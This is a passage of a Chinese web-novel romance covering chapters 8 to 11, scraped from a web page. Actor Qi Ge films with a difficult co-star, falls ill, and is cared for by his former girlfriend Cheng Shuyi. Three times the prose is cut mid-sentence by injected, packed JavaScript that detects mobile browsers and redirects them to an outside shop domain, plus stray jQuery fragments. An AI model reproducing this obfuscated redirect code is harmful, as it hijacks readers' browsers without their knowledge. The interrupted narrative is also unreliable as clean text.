“停!停!这儿的词你们带情绪了吗?” 有一个镜头开拍之后,祁歌实在没忍住在咳了一声,赶紧道歉:“对不起对不起……” “你要咳就先咳完,一直憋着也影响演戏啊……哎我说陈逸心,你那儿……” 导演说到一半停了停,换了个温和点的语气:“你身边工作人员别着急进来,马上开拍了。” 祁歌弓着身子猛咳了几声,直起身来对场记示意自己OK。 此时陈逸心身边还围着三四个人,帮他披衣服递水擦汗补妆,忙得不亦乐乎。 程书仪被阿远带进来的时候,看到的就是这一幕。 8. 携花客 “导演别生气了,”陈逸心笑着劝了一句,“祁老师是前辈,我们都能体谅的。” “他怎么那么茶呢……”阿远没忍住翻了半个白眼。 程书仪将手里的袋子放在地上,抱臂看着这一切。 “看起来拍得不太顺利?”她问阿远。 “可不嘛,程……我叫你程姐行吗?” 看到程书仪微微颔首,阿远小声絮絮叨叨说了下去:“这人空降来的,要加好多戏,还各种事情,本来这会儿都快拍完了……” 这些程书仪早就在超话里看过粉丝分析了。 她一边听着,一边将目光转向站在拍摄区域的祁歌。 如果是好几年前刚刚入行的祁歌,面对这样的事情时可能还会有些心理波动。 那时候他也遇到过许多不公平的事。虽然每每尽量装作不在意,但心中也会郁闷,会流泪,会愤怒…… 当时,他为自己无法控制这些情绪而感到赧然,也总在担心会影响身边的人。 现在却不会了。 这个世界或许从来就不是公平的。 他让这些感受像溪水一样流过他的身体。它们或许仍可以刺痛他,却无法再波动他了。 因此从旁观者的视角看去,祁歌只是静静地站在原处,垂眸平复着刚才因为咳嗽稍微凌乱的呼吸,无缝进入了角色的状态。 这一幕是现代部分情节的尾段,讲的是男主发现自己回头太晚,此时女主身边已经有了更适合她的人。 剧本上原本只是有些简单的拉扯动作,但陈逸心说自己应当更坚决一些,表达出自己的魄力,这才能说明自己是更适合女主的人。 “但是……”祁歌若有所思地轻声说,“你不是啊。” “呃嗯谢谢祁老师纠正,”陈逸心没看祁歌,只对着导演说,“但我对我的角色是有自己的理解的,他非常有自信……” “那按你说的走一遍看看。”导演发话道。 “好,”陈逸心拿着剧本在祁歌面前站定,说出了他的台词,“你想见她?你凭什么见她?” 祁歌眼神有些无措地抬头看他:“我、我有话跟她说。” “说什么?”陈逸心一把揪住祁歌的领子又使劲推开。 祁歌踉跄了一下才站稳。 两人分开后,陈逸心看了眼手里的剧本才又继续对戏:“你伤害她还不够吗?你以为她还想见到你吗?” 祁歌看着他轻微地摇了摇头:“她为什么不亲口跟我说……” “你有资格吗?”陈逸心一步上前截断了他的话。 祁歌稍稍一愣。 这句不是台本上的词,这时候陈逸心该表面自己的身份了。 但祁歌还是顺着接了下去:“难道你就有资格?” 陈逸心冷笑了一声,猝不及防地一拳挥来:“老子就是有资格!” 祁歌条件反射地一躲,却又意识到陈逸心是在制造冲突,于是用一只手掌挡了一下,顺势力度身子一歪倒在地上。 陈逸心居高临下睥睨地看着他……接着拿起台词本找起了台词。 祁歌半躺在地上,仰头看着他,轻轻提道:“现在我才是最适合她的人。” 陈逸心接收到台词,赶紧继续顺下去:“现在,我才是最适合她的人!” “OK,”导演喊了停,“我觉得还行。” 有工作人员帮忙扶起祁歌,陈逸心站在旁边鼓掌:“祁老师戏接得太好了。” “有个问题,”祁歌对他点了个头,又去问导演,“这里剧本上不是有一段眼神戏?就是我决定放弃了,用一段眼神戏和运镜接后面的穿越……” 现在被打到地上去了,怎么接这段戏呢? “那就……他走之后你站起来,再接那段吧,”导演说,“我看一下运镜。” 祁歌点点头,抬眼去找阿远,却忽然跟程书仪的目光对上了。 他眼神一亮,接着三步并作两步出了摄像机的范围,跑向了他们这个方向。 他大概平时在片场不是这样外放又敏捷的状态,一时间好多人侧目。 而祁歌浑然未觉,丢下导演和其他演员,径直来到了程书仪身边。 “不是跟你说过今天可能拍不完,改天再过来吗?”他跑得有些急,话音间夹着两声压不住的咳嗽。 “有些东西订好了,不来就浪费了,”程书仪笑笑说。 “嗯?”祁歌一脸迷惑。 程书仪努嘴示意那边正在布置的甜品台:“以你的名义订了甜品和奶茶,听说是剧组探班惯例。” “可是……”祁歌感觉自己难得地有点手足无措,“我没有……” “你不是男主吗?”程书仪笑了笑,“该有的排面还是要有的。” 旁边的阿远直接露出星星眼:“哇程姐你也太好了吧!奶茶是谁家的我现在就要喝两杯!” “什么事都有你,”祁歌笑着骂她,“对了阿远,你今天有什么安排吗?” “嗯?没有啊,没事,怎么了?”阿远问。 祁歌摇头:“今天可能比较晚,要是你有事就先走。” 这是……要和程姐二人世界吗? 阿远cp感雷达突然响了起来。 还没等她再说什么,导演那边已经忍无可忍地Q祁歌回去:“拍不拍啦祖宗们,我天光要没了!” 祁歌赶紧道着歉奔回去。 “祁老师私事挺多啊……”陈逸心半开玩笑地吐槽了半句。 阿远又开始翻白眼。 这人到底有没有点专业素质! 拍完这场,后面接的是祁歌慢慢站起身,望着远方的镜头。 “他这是……放弃了?”不明真相的群众程书仪问。 “啊,对,”阿远帮忙解说着剧情,“这里就是……祁哥觉得对方说的也有道理,自己错过了太多,可能不适合再出现在女主生命里,于是决定放弃了。” 程书仪好奇地往旁边走了几步,去看导演的监视器。 屏幕上是祁歌的面部特写,随着镜头慢慢推进,他的眼神仿佛失了焦,有些茫然地看向这个方向。 鼓风机吹出的风拂过他胸口的衬衫和额头的碎发,将额角细密的汗珠抹去。 他眼睛里浮现出的不甘、痛悔和深情,就这样也被风吹走了。 镜头推到最后,那双眼睛里只剩一泓冷却空洞的潭水。 是接受了这个事实:此生中,再没有你。 程书仪看着竟然有几分不忍。 导演喊卡之后,祁歌垂下眼帘定了定神。 拍完特写还要再拍另外两个角度,便于成片剪辑,为了保持情绪也为了接戏,他站在原处没动。 “阿远,”程书仪慢慢走回阿远身边,“我先走啦。” “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578265|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?祁哥应该很快就好了!” “不等他了,你帮我把这个给他吧。”程书仪从地上的袋子里拿出里面的东西。 阿远惊讶地睁大眼睛。 “好了可以了,我们直接接下一条吧,回来之后的。”导演命令道,“抓紧抢个光啊,祁歌记得词吧要不要提一下?” “不用了。”祁歌垂着头等开拍。 这个镜头很短,但非常重要,是男主去古代穿越一番后,终于理解了相爱的滋味,再穿越回现代后,决心一定要追回女主的戏。 虽然拍摄时是两条一起拍,但时间线上,这是截然相反的两场戏。 祁歌抬起了眼睛。 这一次他的目光里不再是心灰意冷的空洞,而是溢满了燃烧的渴求与信心。 这一次,他知道爱能跨越所有困境。 “我不会放弃……”他喃喃自语,随即又放大了声音:“我不会放弃。” 仿佛是在坚定说给自己,又是向全世界宣告:“我会找到你,在这个世界,我们还有时间……” 这一次我会抓紧每一分每一秒,给你一个幸福的结局。 这个镜头一遍过,导演喊了收工。 祁歌再次回到休息区时,只有阿远一个人等着他,怀里还捧着一束花,显得异常显眼。 “程姐刚才说先走了,”阿远将怀里的鲜花递给祁歌,“这是她送你的。” “走了?什么时候?”祁歌急切地问。 “就最后一场之前,十来分钟吧……” 祁歌看了眼通往片场外面的路。 阿远深吸了口气:“刚才她车停在2号停车场,祁哥,你……” 祁歌闻言已经迈出去了一步,又猛然顿住脚,从手里的花束中抽出了一支。 “阿远,”祁歌笑着对她说,“生日快乐。” 阿远愣了一下。 对,高姐当然把自己的资料发给了祁歌。 但她没想到祁歌居然会留意到,还专门记着。 祁歌没等她做出反应,已经拔腿跑了出去,又忽然回头喊了句:“明天给你补个红包!” 阿远望着他的背影,祁歌一头精心打理的发丝被风吹了起来,衣角也在身后翩然飞起。 哥,你幸福就好。 ——等会儿! 他就这么穿着戏服带着妆走了? 我的哥啊!阿远痛心疾首。 出场时,程书仪的车在停车场收费口排了会儿队。 她也说不上自己现在什么感觉,好像终于完成了一件想做很久的事,但又没那么开心。 拍摄片场没她想象的那么快乐,但祁歌是真的在认真演戏。 或许他们就这样挺好的,各自做着自己喜欢的事。 何必每件事都一定要……求一个结局呢? 这样想着,她一抬眼就看到了从停车场旁边的小路奔跑出来的祁歌。 他还穿着刚才那套衣服,跑得有些上气不接下气,一双眼却忙着四处张望,似乎在寻找着什么。 夕阳斜照过来,将他的发梢和衣角染上金黄。 没有发现他的目标,祁歌再撑不住地弯下腰去,一只手撑住膝盖,另一只拿着花束的手按在胸口。 这画面隔着玻璃是全然无声的,程书仪看到他微微颤抖的背脊,才明白他是在咳嗽。 她喊了停车,推门下了车。 9. 祁妹妹 “祁歌。”程书仪一步步走到他面前。 祁歌低着头闷咳了几声才抬头看她,看表情似乎有点委屈似的。 程书仪不由清了清嗓子:“有事找我?怎么不打电话?” 祁歌望着她没说话,一滴晶透的眼泪猝不及防地从眼眶里掉出来。 “哎哟,”程书仪吓一跳,“怎么了这是?” 她摸了摸身上,刚才下车没拿包,也没带纸巾,一时有点手足无措。 祁歌却自己抬手一把将眼泪擦了:“咳嗽太厉害了,不好意思啊,你能等我一会儿吗?” 他眼眶红红地看着程书仪。 程书仪愣了愣:“……等你?” “对,”祁歌勉强弯了弯嘴角,“我得回去换个衣服,你别走,等我一下,行吗?” 这谁能说“不”啊…… 二十分钟后程书仪与祁歌并排坐在车里,开始思考他们到底要去往何处。 祁歌握拳咳了几声,带着笑意开口:“带你去吃饭?” “啊……” 程书仪还没想好理由拒绝,祁歌又接着说:“就当谢谢你给我冲了张面子卡,刚才回去的时候全剧组齐声感谢我请吃宵夜呢。” 这话勾起了程书仪的兴趣:“感觉怎么样?” 祁歌一愣:“感觉……挺心疼钱的。” “我的钱你也心疼?” “替你心疼,”祁歌偏过头咳嗽了几声,“怎么样,程总赏不赏脸,请你吃个饭?” 程书仪看了他一会儿。 祁歌收了笑意垂下眼睫:“没时间的话就算了,先欠着,等你有时间了……” “其实我还挺想去的,不知道你们明星平时都吃什么,”程书仪放缓了语调说,“但是祁歌,你好像病得有点厉害。” 祁歌怔怔地看着她。 又来了,每次都恃病而骄,做出这幅撩人又不自知的样子。 “医院还是家里,你自己选吧。” 祁歌却没给出答案,而是又提了个问题:“你经常带人回家吗?” 这次程书仪有些迷茫了:“我……带人回家?” “算了,没事。”祁歌快速说完这几个字就仰头靠在了椅背上。 看到他闭上眼,程书仪才皱着眉头仔细打量他的脸色。 也不知道最近遭了什么罪,感觉这人脸颊又更瘦下去了一点,卸掉妆容之后,脸上的倦怠和病态便再也藏无可藏。 程书仪对回头询问地看着自己的司机做了“医院”的口型。 还是去检查一下放心。 说实在的,程书仪觉得自己未免有些太把持不住了。 靠得这么近,对他们两个真的好吗? 如果之前的问题没得到解决,再次走在一起,难道不会走向同样的终点? 之前他们俩做朋友的时候是真的很开心,或许就保持那个程度的交往才是最好的。 这才是他们都可以接受的结局。 车子停稳后,程书仪才发现祁歌已经睡着了。 有这么困吗?就这样还说要带自己吃饭呢。程书仪好笑地想。 “祁歌?”她轻轻唤了一声。 祁歌没什么反应。 程书仪伸手碰了下他的肩膀,触手就感觉温度不太对。 怪不得刚才说话有些莫名其妙,原来是发烧了。 程书仪狠心推了推他:“祁歌,能起来吗?带你去看医生。” 祁歌猝然惊醒,身子一下子坐直,接着惊天动地地咳嗽起来。 司机已经从侧面拉开车门:“祁先生,我扶您。” 祁歌止了咳,又原地愣了一会儿,才扭头问程书仪:“我花呢?” “啊?” “我那束花呢,你送我的。”祁歌十分执着,眨着一双蒙着薄雾的眼睛望着她。 程书仪陷入思考。 之前祁歌追出来的时候,好像确实拿着那束花,但他去卸妆换衣服之后就…… 还没思考出个所以然,祁歌忽然笑了一声:“对不起,我好像有点睡迷糊了。” 程书仪看他的表情,好像是清醒了些许。 “快走吧,你发烧了,需要看医生。”程书仪催促说。 祁歌还从来没来过这家著名医院的国际部。 夜幕降临,医院外面是黑沉沉的,只有急诊大厅还亮着灯。 “我倒是也不用看急诊吧……”祁歌念叨了一句,程书仪没理他。 又给程书仪添麻烦了。他有点沮丧地想。 “要不……”他想说自己一个人看病就可以,但走进大厅后,里面竟然空无一人。 有位护士迎上前,问祁歌哪里不舒服。 祁歌受宠若惊地眨了眨眼。 “他咳嗽得厉害,还发烧了。”程书仪代替他回答。 “噢,量体温了吗?”护士温温柔柔地带祁歌去等候区的白色沙发上坐下。 啊,沙发。祁歌坐下来的时候开始回忆自己上一次坐在一个沙发上是什么时候。 好像还是在程书仪家的时候。 想到这里,他又抬头看了眼程书仪,只见她皱着眉头望着自己。 祁歌有几分茫然。 “38度9了!你这么大人了,自己对身体一点数都没有吗?”程书仪对他抱怨。 “啊?我……”祁歌努力回忆了一下,“下午忘记吃药了。” “你感冒几天了?每天就用退烧药压着?”程书仪看起来更生气了。 “女士您别急,先带先生去诊室让医生看一下,可能需要抽血化验,检查一下病因。”小护士轻声劝着程书仪。 祁歌站起身走路时感觉脚下有点飘,似乎地面有些高低不平。 他低头看了一眼。 程书仪在他身边,扶住了他的胳膊:“这边。” 烧傻了,这个人。 程书仪做出结论。 此刻祁歌就像只茫然的小动物,让干什么都会充满疑惑地服从。 他们演员有时候很辛苦是真的,但之前祁歌好像还没有把自己折腾成这样过。 想想就有些生气。 单人间的病房配置是病床、沙发和普通床铺,祁歌几乎是躺在病床上就立刻睡着了,护士来给他打吊针都没醒。 程书仪慢慢在旁边的沙发上坐下。 “需不需要我来陪床?”司机去帮忙缴费后过来问道。 程书仪抬头看了看,这液说要输四个小时,似乎在这儿陪着也没什么意义。 但是要是扔他一个人在这儿,未免有些太无情了。 祁歌的父母都在家乡,一时半会儿肯定也找不来,何况也不太合适。他身边那个小姑娘……算了,大晚上的折腾人家小孩子也没有道理。 想来想去,似乎只好自己在这儿等着了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578266|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你先去找个地方吃饭休息吧,”程书仪对司机说,“我在这儿等他输完再叫你,今晚辛苦了。” 祁歌没睡太久,大概吊瓶打完一半就醒了过来。 程书仪窝在沙发里看手机,听到他咳嗽抬眼看过来,问他要不要喝水。 祁歌摇摇头。 “其实我也忘记给你倒了,”程书仪吐舌笑了笑,伸了个懒腰,“现在给你倒点吧,你饿吗?” 祁歌又摇摇头。 “书仪,”他声音有些哑,“抱歉啊,让你受累了。” “这有什么,”程书仪放下手机走了过来,伸手探了探他的额角,“好像是不烧了,医生说你最好吃点东西。” 她有些心有余悸地给祁歌看床头挂的牌子:“支气管肺炎了,还好没有特别严重,你要输一周液。” 祁歌点点头,冲她笑了笑:“怪不得我一直咳……那麻烦你把输液的药拍给我,我之后在片场附近输吧。” 程书仪欲言又止了一下,本想劝他每天过来就行,这边人少又舒服;但转念一想他每天还不知几点下戏,路上一来一回两个小时,也着实是太折腾了。 “一定记得输够七天再复查一下。”她妥协道。 “好,”祁歌表情很是乖觉,“你吃饭了吗?” “吃过了,我给你留了份粥。”程书仪要帮他支起床,才看到他一直用手扣在上腹,“胃已经开始疼了?” 祁歌赶快放下手,有几分忐忑地看她。 “医生说这个空腹输会胃疼的。”程书仪叹了口气,“你可真是,林黛玉都没你弱。” 她不过是开个玩笑,祁歌却忽然低下了头,看表情似乎有些难过。 这人怎么什么话都上心的? “对了,今天在片场,我看那个配角怎么和你之间怪怪的,发生什么事了吗?”程书仪一边帮他打开粥的盖子一边好奇地问。 其实她早在超话上围观了前因后果,这会儿纯属明知故问,岔开话题。 祁歌却忽然抬眼看她,眼睛里隐隐闪着些隐秘而开心的光。 “你这是……”祁歌斟酌着用词,“重新对我有了好奇心吗?” 其实没有,程书仪心想,但这事儿这么重要吗? 让祁歌眼睛都亮了。 她大概是不小心把一部分心理活动写在了脸上,对面祁歌的眼睛又黯了下去。 完,这人不仅身子骨似林黛玉,性格也一模一样的。 “其实我看出来了些端倪,也猜得七七八八了,所以不算好奇,”她鬼使神差地出言哄着人,“就是想听你讲。” 她看祁歌半天没动,便拿起勺子舀了一勺递了过去。 祁歌看了她一眼,伸出手将勺子接过来,自己喝了下去:“是啊,这些事你都懂的,这小孩公司要捧他,看上我们这个剧,愿意投钱,我们还求之不得。至于戏份改动,反正先拍了再说呗,也没什么大不了的。” “你们这个剧缺钱啊?招商效果不好?”程书仪又把粥碗推过去了一点。 祁歌盯着粥碗面露为难,迟迟没动勺子:“是,不过如果……先导做出来效果好,二轮招商可能好点。” “不想吃了?”程书仪有点担忧地看着他。 这会儿退去了发烧给脸颊染上的潮红,祁歌的脸色白得跟病床上的床褥一样。 祁歌微微俯下身,难得一见地锁了眉头:“好疼啊。” 10. 回血啦 程书仪按铃唤了医生过来,给祁歌开了护胃的药。 缓过了最痛的那一阵,祁歌看上去放松了些,又像是有些犯困,眯着眼睛靠在床头。 程书仪这时才明白过来,刚才祁歌是因为输液刺激到胃,痛醒了过来,却一直忍到实在撑不住了才说出口。 “你……不用怕麻烦我,”她字斟句酌地说,“就算是普通朋友我也会……” 话刚出口,她又有点后悔。本意是不想他默默忍痛,但说出来又有点像急着撇清关系似的。 跟前任聊天这门艺术实在太难了,程书仪心想,急需一本秘籍。 祁歌当然不知道她所思所想,只轻轻咳嗽了两声:“我知道。” ……知道什么?程书仪脑子甚至有点没转过来。 看祁歌依然微微皱着眉,她想起医生说如果还是难受,可以把液调慢点,于是探身去动了一下自动输液泵面板上的按钮,将流量数值从40调低到30。 要不要再低点?她敲亮手机想查一下,却听祁歌说:“挺晚了,你要不然先回去?我等下自己回去就行,这会儿已经不难受了。” “啊不用,等你输完一起走吧。”程书仪说。 “那先送你再送我。”祁歌坚持道。 程书仪没再拒绝。 想想也是,扪心自问,如果只是普通朋友,陪到这个程度似乎也就仁至义尽了? 如果自己想要止步于此,那就该在行动上也这样做。 看到祁歌又在掩唇咳嗽,程书仪才想起刚才就说要倒水,赶快去吧台那里烧了热水回来递给他。 “谢谢。”祁歌嗓子都咳得哑了,接过水抿了几口,望着她笑了笑。 “没什么,你……再休息会儿。”程书仪嘱咐他,自己转身出了门。 其实病房里就有洗手间,但程书仪觉得自己需要好好思考一下。 在今天去片场之前,她是真的想过,要不要和祁歌重新开始。 抛去别的问题不谈,他们其实是很合拍的一对。 祁歌是个心细的人,待人温柔,又有孩子气的一面,与人相处时总是融洽又明快。 她自己工作比较忙,但也愿意抽出时间来互相陪伴,自问作为女朋友没什么短板。 这样两个人,不该有什么不合适的地方。 但在三年前,他们就已经试过了。 互相靠近的阶段是最美好的,两个人逐渐地互相了解也互相体谅、互相包容,就像寒风中两只靠在一起取暖的小动物。 但靠得太近,那些本以为无足轻重的东西就不可避免地开始彼此刺痛。 譬如祁歌的天真明快不过是他的“人设”,即使是面对最亲密的恋人,也无法袒露真实的自我。 又譬如对程书仪来说,成年人的世界就该用理智和逻辑做一切决定,不该因幼稚清高故步自封。 如果是在三年前,看到今天片场的那种场景,程书仪会直接问祁歌需不需要帮忙。 她那时候能力有限,但也愿意为了他被更多人看到而动用些该用的办法。求人追投资也好,找人做推流也好,都是正常的商业路径,没什么好羞耻的。 但祁歌总是摇头说不用。 他似乎执着于自己心里的一套逻辑,不愿意接受这世界的规则。 程书仪说好,fine,你不用帮忙,那就不要做出这副失魂落魄的样子,高高兴兴接受你选择的死胡同,去过你想要的人生。 这就是他们很典型的吵架模式。 吵架,冷战,后来程书仪耐不住又去找他和好,也决心不再勉强他。 没过多久,又会因为什么事情看不下去,产生新一轮争执。 就像那个被换掉的话剧角色,程书仪再也没机会看到祁歌会如何在舞台上呈现。他们之间的很多事,也没机会再一一翻出剖开,论个谁是谁非了。 三年后再重逢,程书仪总觉得有些感受不太一样了,但又有些东西还是一样的。 她走进病房看到输液瓶已经快空了,祁歌靠坐在原处呆呆盯着输液管里滴落的液体。 “想什么呢?”她问。 “想……”祁歌冲她微微笑了笑,“想明天的台词。” “明天几点拍啊?”程书仪站在原地试图活动一下四肢,却在听到祁歌的回答后直接僵硬。 “早上五点?现在已经……”她看了眼表,“一点多了啊!” 祁歌还是笑:“五点化妆,特效妆要画很久,我就坐那儿补会儿觉。” 说着,他顺势讲起了化妆间的趣事,说有一次没睡够迷糊着做造型,结果头往下一点,发型师把假发给薅下来了。 “你不知道有多尴尬,我当时脑袋就像地中海。” 程书仪听着觉得好玩,歪了头看他:“说实话,很难想象。” 毕竟在她的心目中,祁歌就是“好看”的化身。 祁歌也没有什么包袱,用那只没扎针的手从头顶往后一撸,将最中间的一把头发掀起来。 真就是个地中海发型。 程书仪被逗得大笑了起来:“喂你不是男明星吗,偶像包袱呢?” “我算什么明星啊,”祁歌把头发放下来随便弄了两下,“好了,快输完了,走吧。” 他动作熟练地伸手就要自己拔针。 “哎哎等会儿我叫了护士!”程书仪赶紧阻止他。 祁歌却保持着抬手的姿势,望着自己的手背怔了怔:“这扎的留置针啊?怪可惜的。” “要输好几天一般都是扎这个吧?” “我不太方便……”祁歌有些遗憾地看了看手上的细管,“抱歉啊,刚才扎针的时候我忘记说了。” 程书仪一想也是,他要拍戏上镜,肯定不能留着一截针在手上。 明明是自己考虑不周,他却先道歉了。 刚才进来时看到液体见底,程书仪已经按了铃。护士进来拔针的时候,她不经意抬头看了眼输液泵,忽然发现上面的速度已经被调成了60。 程书仪意外地看了祁歌一眼。 是想早点回去,还是…… 会不会太乱来了! 当事人这会儿怕乱动会影响护士操作,正握拳抵着唇努力忍耐咳嗽,脸色看着还是不太好。 ……是不想让自己多等吧? 程书仪不由地想,这会是他那谦谦君子不愿麻烦别人的一面,还是为了自己默默承担的那一面。 “好了,回去吧,”车子开到小区地下室,祁歌劝程书仪赶快回家,“明天还要上班,早点休息。” 程书仪点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578267|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“微信联系。” 她一步步走向电梯的时候强迫自己没回头。 ——但是等到洗漱完毕躺在床上就开始辗转反侧,想着祁歌到底怎么想的(虽然这不重要),想着祁歌到底有哪些地方和从前不太一样(以前好像没看他开过自黑的玩笑),还有……这人的身体到底行不行啊! 不管怎么说,她自问不是对别人的苦痛袖手旁观的人,于是思来想去,最后还是一翻身从床上爬起来给司机发消息,问人送到了没,又说今天辛苦了,明天可以多休息,自己开车去上班。 司机没一会儿就回复过来,说送到了,谢谢程总。 接着后面马上又加了一句:“祁先生下车在路边吐了,我送他进去了。” 程书仪心里忽然就揪了一下。 “麻烦你了。”她慢慢地敲字回道。 一晚上没睡好,第二天程书仪推迟了一个内部会,睡到十点半才起床。 起床第一件事,先看一眼超话。 好家伙,路透显示,祁歌已经被挂在树梢上晒一上午了。 拍戏可真吓人啊,这不是现代戏吗,怎么还吊威亚的。 程书仪打开聊天窗又关上,重新打开了阿远的聊天窗。 这时候她才发现昨天阿远给她发过消息,在医院那会儿兵荒马乱,根本没留意。 “程姐,小蛋糕太好吃辣!奶茶也喝到了!呜呜谢谢程姐!” 这种一句一个感叹号的语气如果是别人发的,未免显得太过热烈。但联想到阿远的元气感就刚刚好。 “不客气,”程书仪敲字回道,“今天忙吗?” 阿远几乎是立刻就回过来:“还行,今天应该收工早,程姐要过来吗?” 好家伙,这孩子是学了什么读心术吗? 程书仪还没来得及回复,阿远的消息又来了:“祁哥说他昨天进医院啦?程姐,你是把他打昏了拖进去的吗?” 程书仪看到这句忍俊不禁地笑了出来。 奈何她今天有应酬没办法过去,便把祁歌的病历和用药一并发给阿远,拜托她帮忙照顾一下。 “应该的,谢谢程姐!” 其实对话在这里结束就挺好的,但程书仪犹豫了一下,还是又加了句:“消炎药刺激胃,别让他调太快了。” 她也说不清自己这种牵肠挂肚的状态到底只是一种人道主义同情,还是又…… 不不不,程书仪摇摇头,将这个念头从半中间掐断。 她没想到祁歌会主动联系她。 跟合作方吃饭吃到一半,手机忽然响了一声。 祁歌发来的新消息是一张图片,拍了一支一架两钩的铁制输液架,上面歪着挂个输液瓶子,里面的液体还差不多是满的。 怎么现在才开始输,不是说今天收工早吗…… 程书仪不太方便回消息,想着等下找机会再打电话问一下,那边新的消息又发过来了。 “阿远说给我把输液速度调慢点,结果给我关上了,回血了都。” 这话的语气不太像祁歌平时会说的,但想想昨天他说的化妆间糗事,再脑补一下阿远把祁歌无语到的场景,程书仪又忍不住想笑。 但桌上毕竟还在聊正事,程书仪只得先把手机屏幕关上,专心眼前的对话。 11. 惹春风 程书仪当天应酬完已是深夜,想着此时打电话过去,多少会扰了病人休息,便没再回复。 第二天到了公司才想起还没跟进祁歌的消息。 程书仪想了想,发微信问了句今天怎么样,还有没有发烧。 祁歌没回复。 看来是又拍上了。 到了下午两点左右,祁歌才姗姗来迟地回了她一句,说放心吧,输液之后已经好多了。 程书仪正在开会,看到消息后匆匆回了句“那就好”,便也没了下文。 她最近在搞的新项目需要出差一趟,去企业调研,安排了邻省一条线好几个企业的行程,需要出差五六天,当天晚上就走。 程书仪想着正好借这几天的忙忙碌碌让她静静心,不要再睁眼闭眼都是狐狸精那张害人不浅的脸。 时间紧任务重,这几天她日程都挺满,几乎每天都要分上下午紧锣密鼓访问两个企业。程书仪只匆匆嘱咐了一句阿远,记得让祁歌这几天每天乖乖去输液。 阿远是个看上去还挺靠谱的孩子,祁歌也是成年人了,应该没什么大问题。 程书仪心想。 结果很快就出了大问题。 结束考察那天程书仪先去公司处理了点事情,很晚才回到家。到家换了衣服才发现祁歌给她发过消息,问她回来了没有,是否在忙,又说今天在市里拍,有没有时间见面。 “一直在忙,刚看到,”她回了消息过去,“很晚了,要不改天吧?” 那边秒回了个“没事,行”。 不知道为什么,程书仪硬是从这三个字里面看出点不想说破的委屈来。 于是她直接打了电话过去:“你现在回酒店了吗?” “还没呢,”祁歌的声音似缠绕着些杂音,“准备回去了。” “你……一直在等我吗?”程书仪又问。 这次祁歌半天没说话,过了几秒才终于憋出一句:“我就是正好在这边,想给你送衣服来着,没事你早点休息吧。” 话音刚落就带出了一串咳嗽,程书仪听出他把话筒拿得很远,以免咳嗽的气声通过听筒传递到自己耳边。 但拿得远了,环境的背景声就变得清晰了许多,一阵呼呼的风声穿过话筒,想必祁歌应该还在室外。 这几天春暖回温,晚上也没那么寒冷刺骨了,但这个时候起了风,应该还是有点凉意。 “你在哪儿呢,咳嗽怎么还没好啊,”程书仪问,“这几天输液了吗?” “嗯,”祁歌含义不明地应了一声,“没事,等你有时间了告诉我吧,这两天拍摄不太忙……想见见你。” 程书仪不知该作何反应,也“嗯”了一声。 祁歌挂掉电话,轻轻叹了口气。 结束今天的拍摄后天色还早,他给程书仪发了消息之后,就到程书仪家附近的街旁等待。 之前那件衣服他干洗过了,准备还给程书仪。除此之外,他还想问程书仪要一个机会。 他想,如果这次他们都多了一点沟通的耐心,会不会……会不会这一次有不同的结局。 他们在市区这边的拍摄已经渐近尾声,很快就要转场其他省份,见面就没这么方便了。 奈何程书仪偏偏这时候出差,祁歌好容易等到她回来,便想着等一等……再等一等。 等到天都黑了。 他有些幽怨地从马路牙子上站起来,心想这高档小区周围没个通宵营业的肯德基合适吗? 他刚低头点了两下手机准备打车,程书仪的电话又进来了。 “你有车吗?要不要找个车送你?” 程书仪的声音有些含糊,听起来好像是在洗漱。祁歌又觉得心里软了一点:“不麻烦你了,我自己能回去,你快休息吧。” 他就站在离程书仪近在咫尺的地方,却没办法再往前迈一步了。 这真的好难啊,祁歌仰起头任晚风拂过发间。 但他还是想走过去,哪怕会慢一点。 那天在片场被陈逸心那个小朋友挤兑,他本来觉得没什么,反正习惯了。 但看到程书仪后,不知怎的心情就有点微妙的不同。 就好像……让亲人看到自己在外面被人欺负,除了当下自己的感受,更多的是怕会让家人难过。 当初因为这些事情,程书仪曾经劝过他,也和他吵过架。 他恨过自己的无能为力,也怨过程书仪的无法理解。后来两人终于倦了,各自飞向自己的路。 但是现在他懂了,他明白程书仪不是非要干涉他的选择,而是因为知道了他的处境后,会为他难过。 不管有过什么分歧,程书仪是真心想要为他好的。 他曾弄丢过的,是如此珍贵的东西。 接下这个角色后,得知要回到这个城市拍摄,他心里当然藏了这一份私心。 他觉得老天也想帮他,才会赐他那场偶遇,又给了他们这么多的相处机会。 但就像程书仪现在已不会再将那些直白诚恳的意见说出口,他自己也很难再如从前那样不管不顾地站在楼下大声喊出爱意。 可能他们都长大了。 但是,也只有程书仪能亲手解开束缚着他的这一份不甘心。 